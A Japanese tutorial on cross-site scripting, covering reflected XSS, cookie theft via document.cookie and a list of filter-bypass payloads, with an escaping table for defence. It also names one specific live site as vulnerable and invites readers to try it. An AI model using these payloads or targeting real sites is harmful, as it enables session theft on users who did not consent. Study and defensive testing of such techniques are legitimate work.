XSS#
-
XSS とは?
クロスサイトスクリプティング(Cross Site Scripting)は、カスケーディングスタイルシート(Cascading Style Sheets、CSS)の略語と混同しないため、クロスサイトスクリプティングを XSS と略します。悪意のある攻撃者は、WEB ページに悪意のある HTML コードを挿入し、ユーザーがそのページを閲覧すると、HTML コードが実行され、ユーザーに対する悪意のある攻撃の特定の目的が達成されます。 -
XSS の危険性
document.cookie を使用してクッキーの情報を盗む
JavaScript や CSS を使用してページの正常な構造とスタイルを破壊する
トラフィックハイジャック(window.location.href を使用して他のページにリダイレクトするなど)
XSS 攻撃#
リフレクティブ:
- 攻撃者は事前に悪意のあるリンクを作成し、ユーザーがクリックするように誘導します。例えば、次のようなリンク:url+
?params=<script>alert("XSS攻撃")</script>
。 - ユーザーとのインタラクションが発生する場所で発生します。例えば、入力フィールド
- 試してみる、ウェブサイト:http://dm.unrun.top/classkey.php?page=1&classkey=
classkey パラメータは 1 つのパラメータを受け入れます
検索ボックスに <script>alert("XSS攻撃")</script>
を入力して送信
JavaScript コードが実行され、classkey.php はユーザーの入力を処理せずに直接出力するため、これは XSS リフレクティブ脆弱性です。攻撃を実行し、ユーザーのcookieを盗むことができます。
JavaScript で cookie を取得するコード:alert (document.cookie
次に、<script>alert (document.cookie)</script>
を入力してください。
ダイアログボックスが表示され、cookie が盗まれます。dm.unrun.top
ウェブサイトでは、私は cookie を設定していないため、空です。
これにより、事前に準備されたウェブサイトに対して JavaScript でメッセージを送信することさえできます。
XSS でよく使用されるテストステートメント#
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
文字がフィルタリングされる場合#
スペースを / で置き換える
<img/src="x"/onerror=alert("XSS");>
中国語のピリオドを英語のコンマに置き換える
中国語のピリオドを入力すると、ブラウザは自動的に英語のコンマに変換します。
<img src="x" onerror="document.location=`http://www。baidu。com`">
URL エンコーディングを使用するURL デコードエンコード
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>
<img src="x" onerror=document.location=`//www.baidu.com`>
文字の連結による eval の利用
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
スタックバイパス#
script がフィルタリングされた場合
サーバーはこれらのキーワードを空に置き換えます
str_replace("script","");
str_replace("on","");
str_replace("src","");
str_replace("data","");
str_replace("href","");
scr {% hint'script' 'script が空に置き換えられました ' %} ipt,o {% hint 'on' 'on が空に置き換えられました ' %} n,s {% hint'src' 'src が空に置き換えられました ' %} rc などの方法を使用します
タグのクローズバイパス#
ブラウザは、前のクローズされていないタグに最も近いマッチングタグを検索し、2 つのがある場合、後者は解析されません
<input type="text" value='<script>alert("XSS")</script>'>
前に'>
を追加する、つまり'><script>alert("XSS")</script>
<input type="text" value=''><script>alert("XSS")</script>'>
仮プロトコルバイパス#
イベントトリガーが使用できない場合は、仮プロトコル、javascript /data : の後にコードを使用します
<object data=javascript:alert(1)>
<a href="javascript:alert(`xss`);">xss</a>
これにより、次のようにもできます
(alert)(1); alert(1); alert`1`;
URL 解析プロセス#
ブラウザのエンコード解析の順序:
URL 解析 ->HTML 解析 ->CSS 解析 ->JS 解析
- ブラウザが HTML ドキュメントを受け取ると、HTML パーサーが HTML ドキュメントをレキシカルに解析し、HTML デコードを完了し、DOM ツリーを作成します。
- 次に、JavaScript パーサーがインラインスクリプトを解析し、JS のデコードを完了します。
- ブラウザが URL のコンテキスト環境が必要な場合、URL パーサーも介入して URL のデコードを完了します。
URL パーサーのデコードの順序は、URL の位置によって異なるため、JavaScript パーサーの前または後に解析されます。
XSS エンコーディングの問題#
- HTML 文字エンティティ:
HTML ページを表示する際に、特定の特殊文字(例:<や>)をそのまま使用すると、ブラウザはそれらをタグの開始または終了と誤解します。特殊文字を正しく HTML ページに表示するには、対応する文字エンティティを使用する必要があります。HTML 文字エンティティは、& で始まり、事前に定義されたエンティティ名で終わり、セミコロンで終わります。例えば、< のエンティティ名は < であり、& で始まる +# 記号と文字の 10 進数(または 16 進数)で表されます。例えば、< のエンティティコードは < です。 - JavaScript エンコーディング:最も一般的なのは、Unicode エスケープシーケンスである「\uXXXX」の形式です。これは 1 つの文字を表し、XXXX は 16 進数の数字です。例えば、< の Unicode エンコーディングは「\u003c」です。
- URL エンコーディング:% に続く文字の ASCII コードに対応する 2 桁の 16 進数です。例えば、/ の URL エンコーディングは %2f です。
よく使用されるエスケープ文字#
XSS 対策のため
文字 | エスケープ後の文字 |
---|---|
& | & |
< | < |
> | > |
" | " |
' | ' |
/ | / |
HackBar ツール#
HackBar のダウンロード:https://github.com/HCTYMFF/hackbar2.1.3
HackBar は、ブラウザ上のツールで、SQL インジェクション、XSS、暗号化などの一部の一般的なツールを備えています。
スクリーンショット
位置:F12を押してタブバーの最右端を開く
URL エンコードの変換に便利です
右側の 3 つのボタン:URL をロード --URL を分割 -- 実行
POST 送信は、GET パラメータはアドレスバーに記述できますが、POST はツールを使用する必要があります。